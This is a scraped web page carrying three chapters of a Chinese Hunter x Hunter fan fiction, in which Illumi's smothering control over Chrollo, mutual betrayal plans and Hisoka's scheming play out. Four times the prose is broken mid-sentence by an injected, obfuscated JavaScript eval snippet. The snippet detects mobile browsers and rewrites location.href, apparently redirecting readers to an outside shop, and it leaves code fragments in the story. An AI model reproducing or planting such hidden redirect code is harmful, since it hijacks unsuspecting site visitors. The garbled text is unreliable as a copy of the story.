库洛洛面上不动声色,甚至顺势将身体向后靠去,双手扶着椅背,轻松地将整个旋转椅调转了一百八十度,变成跨坐的姿势。这个动作巧妙地将他背后那本夹着秘密的杂志,完全遮挡在了自己身体与椅背之间。 “是吗?狠意不纯粹?”他顺着伊尔迷的话头,微微蹙眉,仿佛真的在认真反思,随即又像是捕捉到了什么,低头略一思索,“或许……问题不在于纯度,而是方向本身就有偏差呢?” 他抬起眼,迎上伊尔迷的视线,语气带着一丝探究的意味:“或许可能,那根本就不是纯粹的‘恨’呢?” 伊尔迷脸上那点随意的神情瞬间消失了。他原本放松靠在沙发背上的身体几不可查地前倾了一毫米,空洞的猫眼聚焦,清晰地传递出一个信息:说下去。 库洛洛接收到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604194|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这个信号。他微微一笑,那是一种智者在分享独特见解时的、带着些许矜持的笑容,开始徐徐展开他的推论: “按照你的假设,凯获得‘复活’能力的时间点,应该还在早期——早到……那个周密到连揍敌客都能瞒过的逃跑计划,还没有在他脑中成型的时候。” 伊尔迷的头微不可查地点了一下。没错,在亚路嘉的能力暴露、被家族彻底隔离监管之后,凯绝无可能再接触到那股力量。而他那场精心策划的逃亡,发生在更后期。 “所以…”库洛洛的声音放缓,每个字都像投入静湖的石子,试图激起对方心底的波澜,“你如此笃定他必然会‘恨’你,以至于这种‘恨’成了你判断其精神状态的唯一标尺……可是有没有一种可能……” 他刻意停顿,目光直直地看向伊尔迷那双深不见底的黑眸,仿佛要穿透那层冰冷的屏障,触及其后或许存在的、一丝人性的困惑。 “他根本,就不曾‘恨’过你呢?” 空气仿佛在这一刻凝滞。伊尔迷,这位习惯于掌控一切的计算者,第一次在关于“凯”的命题上,听到了一个完全超出他数据库的、关于情感逻辑的、荒谬却又无法立刻证伪的全新假设。 伊尔迷:“那他为什么不回来?” 他微微歪头,这个通常显得天真或疑惑的动作,由他做来却只有一种冰冷的、程序遇到无法解析的指令时的纯粹困惑。在他那由效率、价值和掌控构筑的世界观里,这个问题的答案不言而喻:离开甚至不惜以敌人的立场分割 = 纯粹的仇恨。一个最优解的资产,没有理由主动流向更差的环境。 库洛洛看着这个从来以逻辑和理性著称的杀手,轻轻地咧开嘴,那笑容并非嘲讽,更像是一个学者在观察一个极其典型又极其局限的思维模型时,流露出的一种混合了怜悯与惊叹的神情。他几乎要为此鼓掌了,为这如此纯粹又如此匮乏的逻辑。 “其实…”库洛洛的声音放得更缓,像在引导一个思维走入死胡同的学生,“离开,并不总是因为当下的处境‘不好’。”他顿了顿,抛出了一个在伊尔迷认知里近乎悖论的观点,“也可能是因为……发现了‘更好’的存在。” “不可能。”伊尔迷立刻反驳,语气斩钉截铁,没有任何犹豫。哪里还有比揍敌客,比在他掌控之下,更能提供优渥物质条件、尖端资源和“稳定”环境的地方?他的数据库里不存在这样的选项。凯的选择,在他看来源自非理性的“恨”,而非理性的“比较”。 “是吗?…”库洛洛摇了摇头,目光中带着一丝几乎难以察觉的怜悯。他向前微微倾身,隔着几步的距离,对伊尔迷,也是对那套冰冷的逻辑,发出了轻柔却致命的一击: “这可不是你说了算的,‘好不好’这个概念……” “……能够定义的,只有当事人。” 这句话像一把钥匙,试图撬开伊尔迷认知上那扇紧闭的铁门。它指向了一个伊尔迷或许永远无法真正理解的核心——主观价值判断。伊尔迷评估的是客观的“价值”,而库洛洛谈论的是凯内心认可的“意义”。 伊尔迷没有再立刻反驳。他只是定定地看着库洛洛,那双空洞的猫眼里,第一次不是因为杀意或评估,而是因为一种纯粹的、基于逻辑无法兼容而产生的……凝滞。他高速运转的大脑,似乎正在试图处理这个“主观偏好高于客观最优解”的异常数据,但结果很可能是——无法识别。 库洛洛维持着那抹浅淡的笑容,他知道,这颗种子已经种下了。它或许不会立刻发芽,但它会留在那里,不断挑战着伊尔迷那看似坚不可摧的逻辑堡垒。对于一位追求绝对掌控的杀手而言,意识到自己可能从未真正理解过身边最重要“资产”的运作核心,这本身,就是一种缓慢生效的毒药。 32.库洛洛:…我终于知道凯为啥跑了 “自由。” 伊尔迷沉默了一会儿,吐出了这个在凯与他的对话中出现频率最高的、却也是最令他费解的词汇。 库洛洛眉峰一挑,金色的瞳孔里闪过一丝讶异,随即化为一种“孺子可教”的玩味。他手臂微抬,几乎要为此番“开窍”献上他虚情假意的掌声—— “可是他明明不需要这个。” 伊尔迷缓缓地继续,语气里带着一种纯粹的逻辑困惑,仿佛在陈述“水往低处流”一样自然的真理。 库洛洛的手臂僵在半空,连脸上那精心调试的笑容都出现了零点一秒的凝滞。 “?” 伊尔迷没有理会他的疑惑,只是沉浸在自己的论证里,细数起来:“我每天会监督他吃饭——因为他总是忘记吃饭直到胃痛;我每天会把他从工位上拎到床上——否则他又会通宵;我甚至给屋子里的边边角角都包了软包,就因为他想东西入神后会撞到……” 他一桩桩,一件件,数得认真而细致。这些在常人看来或许是“体贴”的行为,从他口中说出,却带着一种令人毛骨悚然的、将人完全物化为需要精心维护的器械的冰冷。 最后,他得出结论,语气笃定:“你看,我为他规避了所有不必要的风险和低效。他所有的‘需求’都被满足了。所以,除了那种毫无理由、也无法用价值衡量的‘恨’,不可能是别的。” 库洛洛:“…” 库洛洛脸上维持着倾听的表情,胃部却微微收紧。他想起了自己短暂“雇佣”凯的经历——他仅仅提出了一个合作框架,那个意识便已精密地计算出十几条后路,并毫不犹豫地选择了最决绝的逃跑方案。 那是一个无法被“饲养”的灵魂,其自主性的强度,库洛洛亲身领教过。 因此,听着伊尔迷用平静无波的语调,将那样的凯描述成一个需要被定时投喂、强制休眠的“设备”,库洛洛感受到的不再是荒谬,而是一种……物伤其类的寒意。这不再是旁观一个悲剧,而是仿佛看到了一座结构精良、无可挑剔的标准化牢笼。而此刻,他自己,正站在这座牢笼的门槛上。 他发现自己第一次,在语言上感到了某种无力。这不是逻辑的对抗,这是两种生命形态之间的鸿沟。他面对的不是一个可以辩论的对象,而是一个运行着完全不同底层代码的系统。 “哦,对了。”伊尔迷像是刚想起了什么无关紧要的小事,语气随意地提醒道,目光却精准地落在那本《国家地理》杂志上,“你的记录,第二个案例的分析是错的。实验失败的原因,是他崩溃到连自己的名字都说错了,意识彻底涣散,不是你认为的情绪波动问题——” 他顿了顿,甚至带上了一丝微不可查的“教导”意味,仿佛在纠正一个不够严谨的助手: “——不过这也不是我的错。是你当初问得太随便,太笼统了。要是一开始就说清楚你在意的是‘具体失败原因’,而不是笼统的‘结果’,我就不会只告诉你‘失败’这个结论了。”“……不过这也不是我的错。是你当初问的太随便,太笼统了。” 一瞬间,库洛洛全身的血液仿佛逆流。 伊尔迷知道了。 他不仅知道,他还评估了,他甚至宽容地指出了他记录中的“错误”——如同一个老师批改一份无足轻重的课后作业。 刚才那份为凯感到的、居高临下的共情与寒意,在此刻轰然反噬。那座他为凯看到的“标准化牢笼”的阴影,在这一秒,彻底将他自身笼罩。 他所有自以为隐秘的观察、小心翼翼的试探、在绝境中窃取情报的智慧……在对方眼里,不过是笼中鸟一次扑腾翅膀的幅度,早已被精准测量并记录在案。 他刚刚还在为舞台上的悲剧蹙眉,下一秒,聚光灯已打在了他自己身上,而伊尔迷,正是那位掌控着所有剧本的、冷漠的导演。 伊尔迷站起身,高大的身影投下一片阴影。他看着库洛洛,语气坦荡得近乎残忍: “下次想记,可以光明正大一点。” 他顿了顿,留下最终判决,也是最终的蔑视: “反正,你不该知道的,也根本不会知道。” 这句话如同冰冷的匕首,精准地刺穿了库洛洛所有的伪装和自信。他知道的,只是伊尔迷默许他知道的。他所有的“智慧”和“努力”,始终被圈定在对方划定的狭小牢笼里。 库洛洛脸上那完美的笑容,如同凝固的面具,依旧挂在脸上。 冰冷的恐惧像蛛网般缠紧了心脏,有那么一刹那,库洛洛几乎听到了自己理性殿堂传来龟裂的声响。 但下一秒,一种更深层、更熟悉的东西,从这片恐惧的冻土之下破土而出——那是他赖以生存的本能,是无数次绝境中将他拉回王座的东西:绝对的冷静,以及对“未知”与“挑战”近乎病态的兴奋。 “原来如此……” 一道无声的低语在他心底划过。 所有的示弱、试探、乃至方才那份物伤其类的共情,在此刻都被彻底剥离。他不再是被观察的样本,而是变回了那个评估一切的观察者。 伊尔迷的绝对掌控,本身就是一个前所未有的、值得收藏的“现象”。而暴露的记录,则清晰地标出了这场游戏中,对手为他划下的、真实的“边界”。 恐惧并未消失,但它被转化了,被压缩成了一颗密度极高、冰冷而坚硬的核。在这核的周围,名为“库洛洛·鲁西鲁”的意志,开始重新编织它的网络。 于是,他脸上那完美的笑容,再度浮现。 “好。” 他听见自己用平稳无比的声音回答。 但在那面具之下,某种更深沉、更冰冷的东西,正在悄然滋生。那是被彻底看轻、被绝对掌控所激起的,属于蜘蛛头目的,真正的凶性。 …………… 伊尔迷离开后,库洛洛需要一点东西来平复思绪,或者说,需要一个熟悉的仪式来重新确认对自身环境的“掌控感”。 他走向房间一角专门存放他个人物品的茶台。上面有一套素雅的茶具,以及一个密封极好的深色小陶罐。里面是他通过某些渠道获得的、一种名为 “璃琥涎” 的稀有发酵茶。这种茶叶的表面,在特定工艺下会自然分泌出一种粘稠、透明且带有独特花蜜清香的天然甜浆,是它风味的关键,却也带来了不便——徒手拿取时,指尖极易沾上那难以洗去的粘腻。 但这恰恰是库洛洛这个私人仪式的一部分。他享受用指尖感受那片茶叶独特的湿粘质感,再将其投入温热的壶中。那一点残留指尖的粘腻,如同一个清醒的锚点,提醒着他□□的存在,并与随后茶汤入口的清冽甘醇形成奇妙的对比。 这个仪式唯一的不便,就是之后需要立刻擦拭指尖。因此,他永远会将自己偏好的、质地厚实吸水性极强的那款茶巾,以特定方式折叠,放在茶罐右手边一掌之距。这是一个经过无数次重复后形成的、无需思考的肌肉记忆——取茶,感受粘腻,置入茶壶,然后手自然向右移动,拿起茶巾擦拭。整个过程流畅、高效,且能将可能的污染控制在最小范围。 今天也是如此。他打开茶罐,指尖探入,小心地捻起一片湿粘的茶叶。那特殊的粘稠感在指尖化开。 然后,他的右手极其自然地向右移动了一掌之距。 ——落空了。 他指尖还残留着那点恼人的粘腻感,低头看去,那个位置空空如也。 他的目光立刻扫向旁边的抽屉——没有。又转向更远处的柜子——果然,在那摆放着伊尔迷认为“更整洁有序”的、一叠棱角分明的标准茶巾旁边,他看到了自己那款被叠得同样方正、混入其中的专用茶巾。 就这么一个微小的、看似“规范化”的改动,却彻底打破了他整个私人仪式的流畅性。 现在,他必须: 1. 走到柜子前。 2. 小心地用干净的那只手打开柜门。 3. 精准地从中分辨并抽出自己的那一块(而不能碰到旁边那些)。 4. 同时还要注意悬在半空、沾着“璃琥涎”甜浆的那根手指,避免它在过程中不小心蹭到柜门、衣服或者别的任何东西。 一个原本能带来片刻放松和掌控感的、充满品味的私人仪式,瞬间变成了一场需要额外注意力和动作的、令人不快的麻烦。 库洛洛面无表情地完成了这一切。他泡上茶,擦干净手指,将那块茶巾随意地扔在茶台上,不再按伊尔迷的标准折叠。 他看着自己那根终于恢复洁净的食指,上面仿佛还残留着一种被强行打断、被侵入的不适感。 伊尔迷没有改变任何大事。他只是移动了一块茶巾。 但正是这种对“小事”的、无处不在的、理所当然的“修正”,在持续不断地、一遍又一遍地提醒着库洛洛:在这里,你的任何习惯与品味都不重要,唯有“我”设定的秩序,才是永恒的准则。 这种感受,远比正面冲突更令人烦躁。因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617901|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为它让你所有的反抗,都像是一拳打在无所不在的棉花上,最终消耗的,只是你自己的心力,和对自身环境的归属感。 库洛洛面无表情地喝下那杯“璃琥涎”,清冽的茶汤也未能完全洗去心底那点粘腻的不快。而这,仅仅是他日常生活中无数个被强行注入的“额外步骤”之一。 他走到书桌前,准备继续阅读。他习惯将重要的参考书摊开,左右各放一摞,形成一种他独有的、看似混乱但效率极高的“包围式”阅读格局。然而此刻,桌面整洁得如同无人使用过的酒店客房,所有书籍都被按照高度和颜色重新排列,整齐地码放在桌角。他要找到正在看的那几本,就需要先打乱那套虚假的“秩序”。 他想为自己倒一杯清水。拿起水杯时,发现杯柄的方向从他习惯的朝向左边,被调整到了右边。只是一个微小的角度差异,却让每一次抬手都产生一丝难以言喻的凝滞感。 甚至,当他试图思考一个复杂问题时,下意识地想像过去那样用手指轻轻敲击桌面来辅助思维——一个他从小就有、无关紧要的习惯——也会在敲下第一声后,因为意识到这声音可能会被监控,并可能引来伊尔迷关于“是否焦虑”或“需要改进思考方式”的“关切”询问,而硬生生地停下来。 这些都不是什么无法忍受的酷刑。 没有饥饿,没有疼痛,没有直接的威胁。 有的只是: 无处不在的“纠正” 持续消耗的“算力” 被否定的“自我” 这种感觉,就像穿着一双永远进沙子的鞋走路。 单次的不适可以忽略,但当你知道每一步都会迎来新的摩擦,而你还必须一直走下去时,这种持续不断的、细碎的折磨,就足以在无声无息间,将一个人的耐心和精力消耗殆尽。 库洛洛坐在被强行“整理”过的书桌前,看着自己那套被强行“规范化”的茶具。他清晰地认识到,伊尔迷的掌控,其可怕之处不在于他限制了你什么,而在于他无休止地、理所当然地,重新定义着你生活里的一切。 午餐被无声地送入。他揭开银质餐盖,里面是他明确表示过“不需要”的、某种以滋补为名但气味令他本能排斥的浓稠汤羹。他上一次只是勉强吃完了它,没有留下任何评价,希望能用沉默混过去。 但伊尔迷的观察系统不需要语言。他进食时那零点几秒的迟疑,以及餐后比平时多喝了一口水的行为,都被精准捕捉,分析为“潜在需求未被满足但正在适应”。 于是现在,它变成了每周固定三次的菜品,并且分量增加了。 至于睡眠,这更令人烦躁。 他正读到关键处,一段关于古代文明祭祀仪式的记载与他之前的某个猜想完美印证,思维的火花正在迸发——管家无声地推门而入。 “伊尔迷少爷吩咐,您的就寝时间已到。” 库洛洛抬起头,眼神还沉浸在知识的亢奋中。他想说“等一下”,但管家只是平静地、重复地陈述着指令,如同一个没有否决权限的程序。任何争论都只会引来更直接的“干预”。 他只能合上书,在管家的“陪同”下走向卧室。身体躺在柔软得过分的床上,大脑却因为阅读被打断而异常清醒,那个刚被勾起的、绝妙的推论像未完成的乐章在脑中循环,带来一种求知欲被强行掐断的、生理性的焦躁。 他闭着眼,直到凌晨才在这种不满足的亢奋中勉强入睡。然后,在天刚亮时,又会被准时的、无法拒绝的“唤醒服务”拉出短暂的睡眠。 这一切,与那被移动的茶巾、被调整的书籍、被纠正的杯柄方向交织在一起。 他感觉自己像被浸泡在一种无形的、高密度的粘稠液体里。每一个动作,哪怕是最微小的、最个人的习惯,都会感受到来自四面八方的、柔和的阻力。 没有怒吼,没有暴力,只有一套精密运行、无处不在的“为你好”的系统,在持续不断地、耐心地打磨掉你身上所有不符合“标准”的棱角。 库洛洛躺在过分柔软的床上,在凌晨的黑暗中睁开了眼睛。 他意识到,伊尔迷要的,或许不仅仅是一个合作的“预处理者”。 他是在系统地、不疾不徐地,将一个拥有独立意志的“库洛洛·鲁西鲁”,改造打磨成一个完全适应“揍敌客环境”的、温顺且高效的——“零件”。 而这种认知,比任何直接的酷刑,都更让他感到一种冰冷的、深入骨髓的寒意。 33.双方都在黑吃黑 那么,自己此刻的处境,在伊尔迷眼中究竟是什么? 是待处理的、即将被纳入系统的零件?还是需要被规训以确保无害的、暂时有些用处的小宠?或者,仅仅是“住在我的地盘,就要无条件遵守我的规矩”这种纯粹领地主权的宣示? 无论哪一种,都绝无可能是他表面应允的、平等的“合伙人”关系。他库洛洛·鲁西鲁,在这里,也只是一件正在被评估和调试的“资产”。 这个结论让他指尖发凉。而紧接着,一个更清晰、也更让他感到某种荒谬“敬佩”的念头,无法抑制地浮现出来—— 凯。 那个被伊尔迷用这种无处不在的“呵护”包裹了更久、更严密的人。 库洛洛此刻才真正体会到,那种生活在每一口呼吸都被“优化”、每一个念头都被“校准”的环境下,所需要承受的、日复一日的重量。 而他,竟然在那种环境下,不仅保持住了核心的清醒,还成功地策划并执行了一场从揍敌客核心的逃亡。 这需要的,是何等坚韧的意志,以及对“自我”何等顽固的坚守? 库洛洛甚至能想象到,凯是如何在这些被调整角度的杯柄、被移动的茶巾、被强制的作息和令人不快的饮食中,一点点地积累着力量,如同在岩石缝隙中艰难汲取养分,最终挣破一切,完成了那场轰轰烈烈的“叛逃”。 与他相比,自己之前对凯的“雇佣”失败,简直像一场孩童的嬉闹。 库洛洛躺在黑暗中,极少见地、发自内心地,为那个他未曾谋面、仅存于意识和传闻中的“前揍敌客夫人”,生出一点细碎的、冰冷的敬佩。 敬佩他,曾在这片无声的、磨灭个性的流沙中,硬生生杀出了一条血路。 这个认知,像一道冰冷的电流,瞬间重塑了他脑中的目标序列。 在此之前,他对那个名为“程笑”的载体,兴趣明确而直接——报复其在友客鑫的挑衅,夺取那预知未来般的诡异能力,拷问出所有秘密。程笑,是一个需要被征服和拆解的、有趣的“谜题”。 而“凯”,更多是作为一个背景音,一个与伊尔迷、与揍敌客秘密相关联的“附属品”,一件他计划中需要从程笑那里剥离出来、交还给伊尔迷以维持合作的“抵押物”。 但现在,不同了。 凯,本身也成了一个亟待拆解的、极具吸引力的“谜题”。 一个意识,究竟需要多么强大的内核,才能在伊尔迷这种密不透风的“优化”与“规训”下,非但没有被磨平棱角,反而积蓄起了足以策划并执行逃亡的力量? 他的意志由什么锻造?他的精神结构是怎样的?他如何在被绝对掌控的环境中,保留下甚至滋长出那般决绝的“自由”的种子? 库洛洛发现,自己对“凯”的兴趣,第一次超越了单纯的利用和交易。 他想要的,不再仅仅是把这个“意识”交还给伊尔迷。 他想要理解他。想要像解读一本艰深的古籍一样,去剖析这个意识得以在绝境中保持独立与反抗的“源代码”。这本身,就是一个不亚于研究“复活”之谜的、充满诱惑力的课题。 一丝极淡的、近乎残酷的笑意,在他唇角无声地勾起。 伊尔迷,你犯了一个错误。 你以为只有你看到了他作为‘揍敌客前夫人’和‘关键实验样本’的价值。但你那双只懂得计算效率与风险的眼睛,根本看不到他真正的瑰丽之处。 库洛洛的脑海中浮现出凯指挥程笑从他手中逃脱的果决,浮现出凯能在伊尔迷密不透风的掌控下依旧策划出惊天逃亡的坚韧意志。那不是一个被动承受命运的魂魄,那是一个在绝境中依旧能爆发出惊人光芒的、不屈的独立意识。 一个如此强大、如此美丽、在绝对掌控下依旧能捍卫‘自我’的灵魂……其存在本身,就是一件值得收藏的、独一无二的艺术品。 能够理解这份价值的,不是你,伊尔迷·揍敌客。 ——是我。 一股久违的、属于幻影旅团团长的,冰冷而贪婪的占有欲,如同苏醒的毒蛇,在他心底抬起头。 至于那份口头达成的、关于“程笑归我,凯归你”的协议? 库洛洛的笑意更深了。 当你默认可以随意‘打磨’我,当你将我置于‘资产’而非‘合伙人’的位置时,那份协议的基石就已经不存在了。 既然你从一开始,就没打算以平等的诚信来履行它…… 那么,身为蜘蛛,又何必被自己并未真心认可的绳索束缚? 他转过身,目光扫过这个囚禁他的华丽牢笼,眼神里不再有烦躁,只剩下纯粹的、即将开始狩猎的兴奋。 游戏规则,该改写了。 ——————枯枯戮山,家主书房 席巴·揍敌客伟岸的身躯如同山岳般端坐在主位,听完伊尔迷关于与库洛洛“合作”的汇报后,房间内的空气仿佛都沉重了几分。他雄浑的声音打破了寂静,带着不容置疑的决断: “我们不可能把程笑交出去。”席巴的指尖敲击着扶手,发出沉闷的声响,如同最终拍板的锤音,“他戏耍了揍敌客,就必须付出代价。他会被公开处刑,让全世界都看清楚,挑衅揍敌客的下场。” “当然,父亲。”伊尔迷站立着,微微颔首,语气平稳得没有一丝波澜,仿佛在陈述一个早已确定的流程,“我答应合作时,想的就是抓住程笑和凯。至于抓住后如何‘分配’……” 他略微停顿,那双空洞的猫眼里,闪过一丝极其细微的、如同精密齿轮咬合般的计算光芒。 “……合作内容只规定了‘找到并移交’,并未规定移交之后,不能再凭本事‘取回’。毕竟,揍敌客的信誉,在于履行合同条款本身。” 他的话语里没有任何道德负担,只有对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627212|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规则条文最极致的利用和冰冷的逻辑。 “而现在,”伊尔迷继续分析,语气甚至带上了一丝“一切尽在掌握”的从容,“库洛洛失去了念能力,幻影旅团群龙无首,不过是一盘散沙,不足为惧。他唯一的利用价值,就是他那颗聪明的大脑,能帮助我们更快地解析出凯的‘附身规律’。” 伊尔迷的声音平直,但其中蕴含的算计却深不见底。 “而且,父亲,您不觉得这是一个千载难逢的机会吗?”他微微歪头,那双空洞的猫眼里,仿佛有数据的洪流在冰冷地闪烁,“一个证明了自身顶尖‘智力’价值的资产,此刻与他的组织完全隔绝,孤立无援地落在我们手中……这难道不是命运送到我们嘴边的、最优质的‘空白组件’吗?” 他甚至没有使用“收复”或“招揽”这样的词汇,在他的认知里,这更像是一次系统的“硬件整合”。 “我永远也不会让他恢复念能力。”伊尔迷陈述道,语气理所当然,“我当初答应的是‘帮他寻找除念师’,可从未承诺过‘让除念师为他解除制约’。毕竟,一个失去獠牙但大脑依旧顶尖的‘管理者’,才是最高效、最稳定的形态。” 他的眼前,仿佛已经浮现出那幅由他亲手构建的、完美的未来图景: 凯,那个熟悉家族内部运作、拥有顶级信息处理和经济才能的意识,将被重新植入一个更稳定、更易掌控的“容器”,再次成为家族高效运转的核心。 而库洛洛·鲁西鲁,这个拥有超凡战略智慧和冷酷决断力的头脑,将被剥夺所有反抗的可能,成为另一台专为解决复杂问题、规划战略的“生物计算机”。 两份顶尖的大脑,如同两台性能超群的处理器,并行运作,为他,为揍敌客,创造出前所未有的价值。 至于他们个人的意愿? 伊尔迷的思维甚至没有在这个问题上停留。那如同在考虑一台电脑是否“愿意”被使用一样荒谬。 不,这不重要。 “等到规律到手,价值榨干之后……”伊尔迷的声音将思绪拉回现实,那双深不见底的漆黑瞳孔里,是冰冷的、如同看待待组装零件的笃定,“我们不仅能笑着‘吃下’程笑和凯,完成家族的清算与回收……” “我们还将……永久地,收获一个更强大、更高效的‘揍敌客’。” 席巴锐利的目光审视着长子,那目光中不再是简单的赞许,而是带着一种审视蓝图般的凝重与认可。片刻的沉默后,他雄狮般的头颅缓缓点下。 “可以。”席巴的声音低沉而充满力量。 “是,父亲。” 伊尔迷微微躬身,转身融入阴影。在他的逻辑里,这并非背信弃义,而是将“合作”这项资源的利用效率,推向了极致。 一场合作,两份杀心。库洛洛在谋划着黑吃黑,而伊尔迷,早已将他和他的“猎物”,都视为了餐盘上等待分食的盛宴。 34.西索大人驾到,统统闪开~ 伊尔迷从席巴那间象征着绝对权威的书房离开,走在通往实验室的冰冷廊道上,库洛洛那句“他根本不曾恨过你呢”如同一个无法被现有模型解析的异常数据,在他绝对理性的思维内核中,引发了一场微不可查的运算风暴。 不恨? 这个可能性本身是荒谬的,不符合逻辑的。一个被“处理”掉的资产,理应产生“恨”这种最高效的驱动情绪。 但……如果他暂时搁置对“原因”的无效追溯,直接锁定“结果”呢? 库洛洛在人性建模上的效率,确实通过那些顺利崩溃的实验体得到了验证。 他停在单向透明的观察室前,里面那个实验体正因为完成了三项苛刻任务而激动得抽搐,脸上洋溢着即将抵达天堂的狂喜。伊尔迷的目光掠过这张扭曲的脸,却没有真正“看见”。 有别的更好的?……也就是说,如果我能满足凯的‘诉求’,他回归的概率会显著提升。 如果……如果不是靠着武力强行抓回一件充满“恨意”的不稳定资产,而是通过满足其“诉求”,让他心甘情愿地回归呢? 这个推演结论,像是一把精准的钥匙,瞬间捅开了之前阻塞的环节。一种微妙的释然感在他心底弥漫开来,驱散了那丝因“未知”而产生的不适。 实现方式很简单。 伊尔迷的思维流畅地得出了最优解。 不需要真正提供那个‘更好的’条件实体。只需要制造足够逼真的感知欺骗,让他确信自己‘拥有’了即可。 不需要真正去创造一个他理想中的“更好”。只需要让他“相信”自己已经得到了,就足够了。 他的视线终于聚焦在观察室内那个狂喜的实验体身上,眼神里带上了一丝不易察觉的、近乎怜悯的意味。这些可怜虫,总是如此轻易地就被虚假的希望俘获。 就像他们一样。 以为许下了“自由”,就能真正触摸到自由。 事实上,在确保“即便许愿失败,强求的代价也绝不会波及揍敌客核心”的绝对安全前提下,眼前这种给予虚假希望、再引向特定愿望的“情景剧”,早已在他的监控下,重复上演了无数次。 伊尔迷斜倚着冰冷的强化玻璃,玻璃表面模糊地映出他精致却毫无生气的五官,如同一个置身事外的神明,正在欣赏自己一手导演的、关于希望与绝望的精密戏剧。 ——————贪婪之岛 西索找到除念师后,悠哉悠哉地隐入角落,指尖扑克牌如同活物般翻飞。 带走除念师?当然不! 得到消息就已足够。真正需要除念的又不是他西索大人~至于伊尔迷或是库洛洛要如何抵达这偏远之地,又如何说服那位古怪的除念师出手相助? 那都是演员该操心的事,与高高在上的导演何干呢~? 退一万步说,若连明确坐标都到手后,那两人仍无法抵达此地……西索唇角勾起一抹兴味的弧度。 那只能说明,自己还是太高看他们了。连舞台都登不上的演员,不值得他投入更多期待。 他愉悦地拨通了伊尔迷的号码。自己在贪婪之岛沉浸游戏许久,外界消息难免滞后。但揍敌客不同,那张遍布世界的信息网,想必早已捕捉到库洛洛失踪前的蛛丝马迹。 而伊尔迷此刻对除念师情报的需求,与库洛洛的失踪在时间上如此微妙的吻合……西索几乎已能断定这两人之间必然存在着某种他尚未完全窥破的联结。 不过这无关紧要。 他此行目标明确:以手中的除念师坐标作为 “伴手礼” ,顺理成章地向信息源(伊尔迷)讨要一点 “利息”——无非是库洛洛的去向,或是一个联系方式。 一旦得手,他便会将这关键情报,“不经意”地泄露给那位急需脱困的蜘蛛头目。 届时,挣脱束缚的库洛洛将对上掌控欲爆棚的伊尔迷,而他西索—— 只需拭目以待,如同坐在最佳观众席上,欣赏这场由他亲手投下火种,即将燃遍整片草原的……盛大演出。 ……… 电话很快通了,西索粘腻的声音紧随其后:“小伊~,东西我可拿到了哦~” 不过在他预料之外的事情是,伊尔迷似乎并不很在意这次的“货物”,他一贯的声音从话筒中传来:“嗯。” 嗯? 西索金色的瞳孔几不可查地收缩了一瞬。这反应太轻了,轻得反常。对于效率至上、目标明确的伊尔迷而言,这甚至算不上是回应,更像是一种……敷衍。仿佛自己递上的不是关键钥匙,而是一张无关紧要的广告传单。 西索只得装作没有察觉,进一步试探道:“…想知道嘛~?不过你排在后面…首先的使用权我留给库洛洛了哦~” 他故意抛出库洛洛的名字,试图刺穿那层冰冷的屏障。 这次伊尔迷的反应堪称冷淡了,他没有回话,仿佛没有挂断电话就是回答:“。” 这家伙……什么时候学会了用沉默来防御? 西索:“…”他险些有点演不下去了,只能继续纠缠:“你知道库洛洛的地址吗?说不知道的话就太假了哦。” 伊尔迷:“…”他顿了一会儿,报出了一个地址。语气平稳,没有任何情绪,像在背诵一段无关紧要的数据。 西索得到信息后直截了当地挂了电话。指间的扑克牌停止了翻转。 不对劲。 这和他预想的剧本完全不同。他本以为会是一场充满机锋的谈判,或是伊尔迷冰冷的警告,但绝不该是这种……近乎漠然的配合。 他本以为两人是另一种意义上的若即若离的合作关系,一种基于互相算计的脆弱平衡。但现在看来……伊尔迷对“除念师”的缺乏兴趣,以及对“库洛洛地址”的轻易交出,都指向一个更复杂、更惊人的可能性—— 或许库洛洛并非合作者,而是……某种意义上的“所有物”? 这个念头让西索的血液微微发热。 他需要去验证。这个地址的正确性,将决定整个事件的隐情。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640160|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>如果地址是假的,说明伊尔迷在防备他,事情或许回归他最初的某种猜想。 